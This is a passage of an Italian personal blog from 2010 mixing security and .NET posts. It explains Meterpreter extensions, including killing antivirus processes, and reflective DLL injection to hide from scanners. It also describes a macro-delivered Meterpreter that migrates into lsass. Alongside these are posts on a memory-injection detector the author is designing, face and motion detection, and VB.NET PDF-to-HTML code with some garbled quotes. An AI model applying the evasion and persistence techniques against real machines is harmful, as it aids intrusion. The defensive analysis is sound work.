-loadlib carica una libreria sul sitema remoto
-use . use un modulo d'estensione
Quando si utlizza "use" un modulo è caricato sulla macchina target e caricato nella memoria ,senza passare dal disco.

Le estensioni:
le estensioni client sono usate per permettere l'accesso alle estensioni server,le estensioni  possono essere scritte sia in C che in Perl od in Ruby.

L'estensione Process permette di gestire i processi sulla macchina attaccata,ad es. caricare un processo ,l'estensione Process permette  di listare e killare i processi ad esempio potrebbe essere utilizzata per tentare di killare un antivirus od un firewall.
Altre estensioni sono Fs che permette di agire sul filesystem della macchina attaccata con le normali operazioni su file.
Net permette un interazione profonda con le funzioni di sistema dedicate al network
Sys  permette di interagire con le funzioni del sistema operativo
Punto in comune tra l'istanza server e l'istanza client client di meterpreter sono le funzioni necessarie al client ed al server meterpreter ,queste funzioni sono quelle relative alla gestione dei pacchetti ,della crittografia e di altre funzioni speficifiche relative ,queste interfacce sono sotto il namespace Pex:Meterpreter .

Il Codice Sorgente : scaricato il framework da metaesploit ed installato sotto programmi\metaesploit\msf3\external\source\meterpreter\source\ troverete il codice di meterpreter ,nella dir estensioni troverete anche railgun per questa estensione esiste anche un pdf con una descrizione funzionale ed alcuni esempi,trovere anche la dir client, la dir server, e la dir common a cui corrisponde il codice della parte client ,del server e delle funzioni comuni alle due parti.

Friday, July 23, 2010

Virus invisibile

Con la tecnica dell'iiniezione "riflettiva" di codice in memoria un exploit può creare un processo minimale e questo sarà invisivile agli antivirus poichè viene creato un processo in cui viene iniettato il virus ma il processo contenitore non viene mai registrato e quindi dovrebbe risultare invisibile anche ad uno scanning della ram ed ovviamante ad un normale scan dei processi in esecuzione , sul sito di Harmony Security linkabile dal precedente post troverete un paper ed il codice dell'autore .

Security Blog

here a blog on it security with a serious approach with a paper on reflective ddl injection /http:(/www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf) ,here related page.

Wednesday, July 21, 2010

C# 4.0 , l'api DLR rende c# un linguaggio anche "dinamico" .

C# nella versione 4.0 ha tra le parole chiave "dynamic" ,l'istruzione permette di costruire degli oggetti dinamici il cui contenuto viene risolto solo a runtime , questa può essere una strada per scrivere del codice molto "generico" in una parte di programma in cui sia utile scrivere del codice con oggetti dinamici .
Le gestione di questi oggetti avviene tramite una nuova api del framework chiamata DLR. In questo modo c# diventa un linguaggio anche dinamico ovvero in grado di risolvere i tipi di dato a runtime come Javascript, Ruby, o Python ,per chi volesse esiste un'implementazione dell'api DLR opensource. Con questa nuova api dovrebbe quindi ad esempio essere possibile usare librerie ruby senza preoccuparsi del tipo ritornato almeno nella chiamata diretta alla lib esterna.
Oltre ai numerosi vantaggi esposti sull'msdn ,a mio avviso, bisogna tener presente che poter scrivere del codice non tipizzato può portare soprattutto nel caso di riutilizzo di librerie ad errori a runtime che potrebbero presentarsi solo in alcune condizioni (ad es avere in input un valore long quando il codice gestisce solo valori fino a int32 in punti successivi all'uso del tipo dynamic) .

RailGun

RailGun è un'estensione di Meterpreter (ruby) che risale al mese di giugno,compresa nella release 3.4.1. del framework e permette l'uso di qualsiasi winapi............. ,un esempio qua ,potete trovare altri script in ruby  qui

Monday, July 19, 2010

Reverse Egineering : from c# source code to uml diagram

Altova offers a trial version of a tool for reverse engineering from source code to diagram and it work fine,also StarUml have this feature ......

Saturday, July 17, 2010

MemDump

MemDump è un programma freeware che permette di analizzare la memoria di un sistema windows e scriverne il contenuto su file .

WinApi in .Net , Hook , ProcessMemoryChunk e molto altro

Qui un progetto opensource che permette di usare le funzionalità di windows (alcune) di basso livello che non sono comprese nelle librerie .net e normalmente implementate in C od Assembler. Il progetto implementa addirittura Hook (gancio) e ProcessChunkMemory la prima classe permette di frapporre controlli e validazioni tra le chiamate di sistema (uno dei modi per la detection euristica comportamentale usata dagli antivirus) , la seconda consente di leggere e scrivere array di bytes da un processo ad un altro .

Convertire bytes in stringhe od altri tipi

In .net esiste la classe BitConverter che permette di convertire array di bytes in stringhe, interi od altri dati primitivi e viceversa ,la classe può essere utile,a mio avviso,anche per effettuare ricerche in modo piu' rapido convertendo ad esempio un immagine di un programma in bytes in una stringa e cercando una sotto-immagine composta da bytes trasformandola in una stringa, a questo punto è possibile accedere a funzioni native del framework come subsring od indexof , una scelta che può essere vantaggiosa rispetto a cicli che iterino per cercare array di bytes in array di bytes,la soluzione comunenemente usata per queste operazioni .

Il risultato finale può essere compilato in ogni caso con ngen.exe perdendo la portabilità tra macchine differenti ma aumentando la velocità di esecuzione poichè l'eseguibile generato contiene linguaggio macchina ottimizzato per il processore della specifica macchina mentre normalmente verrebbe utilizzato il compilatore JustInTime per generare il codice usabile dallo specofico processore partendo dal MSIL(microsoft intermediate language) ,questo livello di compilazione ha i suoi costi in termini di tempo e risorse in fase di esecuzione che possono essere così risparmiati con una maggiore velocità ed un minor peso sulla macchina.

Friday, July 16, 2010

RamController : uso di ProcessHacker

Per lo sviluppo di molte funzionalità nel progetto RamController è utile l'uso di funzioni già presenti nel progetto ProcessHacker , la licenza del progetto è cambiata da NewBSD a GPL 3 .

Wednesday, July 14, 2010

Killare qualsiasi processo

correggo quanto detto in questo post 
ossia che non è possibile killare in windows processi di sistema,non è così,

il programma process hacker ne è la prova, esso permette di killare anche i processi di sistema ,
se  lo fate aspettatevi una possibile schermata blu ,con questo metodoè possibile interrompere anche processi di sistema infettati da un virus in ram come soluzione estrema per tentare di riprendere il controllo della macchina attaccata o semplicemente infetta.

Motion detection

qui un ottimo sito dove trovare un software per la detection di movimento tramite webcam o fotocamere,il software permette di salvare le sequenze che contengono movimenti in serie di snapshot o movie

Wednesday, July 7, 2010

Qualche sito con informazioni interessanti

meterpreter e dintorni ,
qualche libro

Macro con Meterpreter ,il problema e la cura

qui un paper dell'università di Goa (India) che mostra la facilità con cui può essere guadagnato un accesso remoto usando un documento come contenitore del client di meterpreter,sono indicate anche le contromisure,ossia dare i diritti di esecuzione solo a macro che abbiano una segnatura digitale ,nel caso non sia questo lo stato sulla macchina bisogna sperare nella capacità di detection dell'antivirus ,se questo non riesce ad intercettare la macro sul disco al lancio del documento il "client  meterpreter" si allocherà in memoria ,alla connessione con il "server meterpreter" in ascolto l'hacker potrebbe anche decidere di spostare il meter iniettato da un processo ad un altro o clonarlo in n processi ,magari di sistema, in questo modo anche trovato il codice iniettato nel processo (in realtà credo che non molti antivirus siano in grado di scovarlo) questo resterà comunicante con la macchina dell'hacker per parecchi secondi in piu' essendo il client iniettato in un processo di sistema "non killabile", tipo lsass (che ricordo avendo preso il famoso virus collegato al processo) il quale andrà "deallocato" solo allo spegnimento della macchina ,a meterpreter basta una porta già aperta senza bisogno di aprirne altre ed è in grado di trasmettere pacchetti crittografati rendendo abbastanza difficile anche il monitoraggio da parte dei firewall ...su quest'ultimo punto sarebbe interessante trovare dei test visto che almeno sulla base delle mie limitate conoscenze la detection del firewall di traffico sospetto resta uno dei due "momenti" in cui un attacco di questo tipo possa essere fermato , l'altro è evitare l'inizio dell'attacco ( :-) )  stesso con la detection del "client" prima che venga eseguito , probabilmente esistono dei sistemi di scan della memoria che nel caso di scoperta di iniezione di codice in memoria in un processo non killabile "informino" di ciò il firewall il quale possa chiudere tutte le porte della macchina....,se qualche lettore del blog mi informasse dell'esistenza di qualcosa di simile potrebbe essere uno spunto interessante per ulteriori discussioni,scrivete senza timore ...se ci ripensate cancellerò il vostro commento

Monday, June 21, 2010

Un elenco di cms opensource

qua cms in vari linguaggi
    http://www.cmsopensource.it/

qui cms in c#
    http://csharp-source.net/open-source/content-managment-systems

questo appare ricco di funzionalità abbastanza sofisticate http://www.sensenet.com/

RamController

Per lo sviluppo del progetto ramcontroller ho individuato due strade per l'implemetazione del controllo dell'iniezione di codice nei processi in run,una prima strada consiste nel creare all'interno di ramcontroller un thread (per ogni processo) contenente un oggetto timer di tipo server che a brevi intervalli esegua il monitoraggio di un singolo processo verificandone il cambiamento dell'hash e l'eventuale presenza di stringhe sospette (parti di meterpreter od altro) , dovrebbe esser sufficiente una scansione ad intervalli per gli attacchi con un meterpreter client richiedendo l'azione di questo attacco alcuni secondi,

un altra possibilità è creare un processo "ombra" per ogni processo in esecuzione con una priorità di esecuzione uguale al processo da monitorare + 1 n(realtime escluso :-) ) il quale si occupi di controllare l'hash e la presenza di stringhe sospette ,per ottenere l'immagine in memoria è sufficiente la chiamata alle funzioni relative ai processi di kernel32 tramite interop dll , il baseaddress di ogni processo è ottenibile da "Process.MainModule.BaseAddress" ,è possibile poi ottenere l'elenco di tutte le dll utilizzate nel process ,"Process.Modules" ,

rispetto alla prima strada un alternativa può essere creare un singolo thread con priorità realtime che scorra l'elenco dei processi e compia la loro scansione avendo anche un intervallo di sleep per evitare il blocco della macchina,

spero che qualche lettore del blog possa dare la propria opinione come commento al post ,

se qualcuno potesse indicare un repository pubblico con l'hash(md5 o sha1) dei piu' comuni attacchi in memoria (tipo metasploit) sarebbe molto utile.

Saturday, June 19, 2010

I Sistemi di riconoscimento biometrico

un elenco di software gratuiti per il face detection ,
qui un elenco dei sistemi di riconoscimento biometrico ,molto interessante come punto di partenza ,
qua una trattazione con un minimo di dettaglio sul riconoscimento facciale ,
body language

Account Facciale

qui un articolo relativo ad un software per lokkare il pc tramite riconoscimento facciale.

LibFace una libreria per il ricoscimento facciale opensource in c++

qui una libreria opensource in c++ per il riconoscimento facciale ,
in combinazione con quella precedente dovrebbe permettere in modo agevole di catturare il volto di un essere umano in movimento........

Analisi Immagini e Motion Detection

qui un articolo relativo alla motion dection con un applicazione completa

sul sito dell'autore troverete anche il framework utilizzato per
l'applicazione ed il suo codice sorgente (c#) ,a mio avviso, scritto in modo eccellente , con questo software potete ad esempio fotografare un animale , di qualsiasi tipo , che inizia un movimento senza essere in ritardo rispetto al soggetto ,
come hardware per un test casalingo è sufficiente una qualsiasi webcam per catturare qualsiasi movimento di un soggetto,
con una fotocamera digitale avete quanto occorre per fare un appostamento davanti alla tana di un animale in modo del tutto automatico..........

Friday, June 18, 2010

Dal formato PDF al formato html

Generalmente i documenti vengono portati verso il formato pdf anche quando nascono in altri formati per la versatilità del formato pdf ,qualche volta può essere utile estrarre il testo da un pdf per andare verso altri formati quale ad esmpio html, quest’ultimo aumenta la capacità di visualizzazione su dispositivi mobili dove visualizzare un documento pdf è arduo a meno di utilizzare reader dedicati (ed a pagamento),
in .net andare dal formato  pdf al formato html per quanto riguarda i testi è molto semplice:
quello che occorre:
1) .net :-) ,
2) PdfBox ,a mio avviso una delle migliori librerie open per la gestione del formato pdf
3) IKVM una java virtual machine open per .net (http://www.ikvm.net/) che permette di usare pdfbox (java) in .net
come fare :
aggiungiamo le librerie come riferimenti al nostro progetto winforms
istanziamo un documento PDDocument
usando il metodo load PDDocument.load(pathdelfilepdf)
istanziamo un oggetto PDFTextStripper
e ne usiamo il metodo getText a cui passiamo come argomento il  risultato delle load precedente,
un pò di pseudocodice;
Dim pdfDocument As PDDocument
pdfDocument = PDDocument.load(Me.TextBox1.Text.ToString)
Dim pdfLoader As PDFTextStripper
pdfLoader = New PDFTextStripper
Dim pdfOnString As String = pdfLoader.getText(pdfDocument)
Me.FromPdfToHtml(pdfOnString)
implementiamo un metodo che costruisca lo scheletro html esterno,l’oggetto currFont rappresenta
il risultato delle scelta effettuata chiamando un oggetto FontDialog
Private Function FromPdfToHtml(ByVal pdfString As String) As Boolean
Dim result As Boolean = False
Dim html As String = ”
html = html & Me.currFont.FontFamily.Name
html = html & “;font-size:” & Me.currFont.SizeInPoints & “pt>”
html = html + pdfString
html = html + “”
Dim str As String = “”
If (Me.WriteHtmlToFile(html)) Then
str = “File scritto”
Else
str = “File non scritto”
End If
MessageBox.Show(str)
Return result
End Function
la seguente funzione si occupa di scrivere il file html si disco
Private Function WriteHtmlToFile(ByVal inputHtml As String) As Boolean
Dim writeProcess As Boolean = False
Try
Dim writer As StreamWriter = New StreamWriter(Me.TextBox2.Text)
writer.Write(inputHtml)
writer.Close()
writeProcess = True
Catch ex As Exception
MessageBox.Show(ex.Message.ToString() & ex.Source.ToString() & ex.StackTrace.ToString())
End Try
Return writeProcess
End Function
il codebehind per un form che svolga questa funzione è ad esempio il seguente
Imports IKVM
Imports gnu
Imports org.pdfbox
Imports org.pdfbox.util
Imports org.pdfbox.pdmodel
Imports System.IO
Imports System.Text
Imports org.fontbox
Public Class Form1
Private currFileInput As String = Nothing
Private currFileOutput As String = Nothing
Private currFont As System.Drawing.Font
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Public Sub New()
‘ This call is required by the Windows Form Designer.
InitializeComponent()
‘ Add any initialization after the InitializeComponent() call.
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If (Me.OpenFileDialog1.ShowDialog() = Windows.Forms.DialogResult.OK) Then
Dim file As String = Me.OpenFileDialog1.FileName
Me.currFileInput = file
Me.TextBox1.Text = Me.currFileInput
End If
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
If (Me.SaveFileDialog1.ShowDialog() = Windows.Forms.DialogResult.OK) Then
Me.currFileOutput = Me.SaveFileDialog1.FileName
Me.TextBox2.Text = Me.currFileOutput
End If
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
If (Me.FontDialog1.ShowDialog() = Windows.Forms.DialogResult.OK) Then
Me.TextBox3.Text = Me.FontDialog1.Font.Name & Me.FontDialog1.Font.SizeInPoints.ToString
Me.currFont = Me.FontDialog1.Font
End If
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If (Me.ControlValidText(Me.TextBox1) And Me.ControlValidText(Me.TextBox2) And Me.ControlValidText(Me.TextBox3)) Then
Dim pdfDocument As PDDocument
pdfDocument = PDDocument.load(Me.TextBox1.Text.ToString)
Dim pdfLoader As PDFTextStripper
pdfLoader = New PDFTextStripper
Dim pdfOnString As String = pdfLoader.getText(pdfDocument)
Me.FromPdfToHtml(pdfOnString)
End If
End Sub
Private Function WriteHtmlToFile(ByVal inputHtml As String) As Boolean
Dim writeProcess As Boolean = False
Try
Dim writer As StreamWriter = New StreamWriter(Me.TextBox2.Text)
writer.Write(inputHtml)
writer.Close()
writeProcess = True
Catch ex As Exception
MessageBox.Show(ex.Message.ToString() & ex.Source.ToString() & ex.StackTrace.ToString())
End Try
Return writeProcess
End Function
Private Function FromPdfToHtml(ByVal pdfString As String) As Boolean
Dim result As Boolean = False
Dim html As String = ”
html = html & Me.currFont.FontFamily.Name
html = html & “;font-size:” & Me.currFont.SizeInPoints & “pt>”
html = html + pdfString
html = html + “”
Dim str As String = “”
If (Me.WriteHtmlToFile(html)) Then
str = “File scritto”
Else
str = “File non scritto”
End If
MessageBox.Show(str)
Return result
End Function
Private Function ControlValidText(ByVal inputControl As Control) As Boolean
‘this method control if ‘control’ have a text property
‘not null and not empty (“”)
Dim resReturn As Boolean = False
If (inputControl.Text Is Nothing) = False Then
If (inputControl.Text.Length > 0) Then
resReturn = True
End If
End If
Return resReturn
End Function
End Class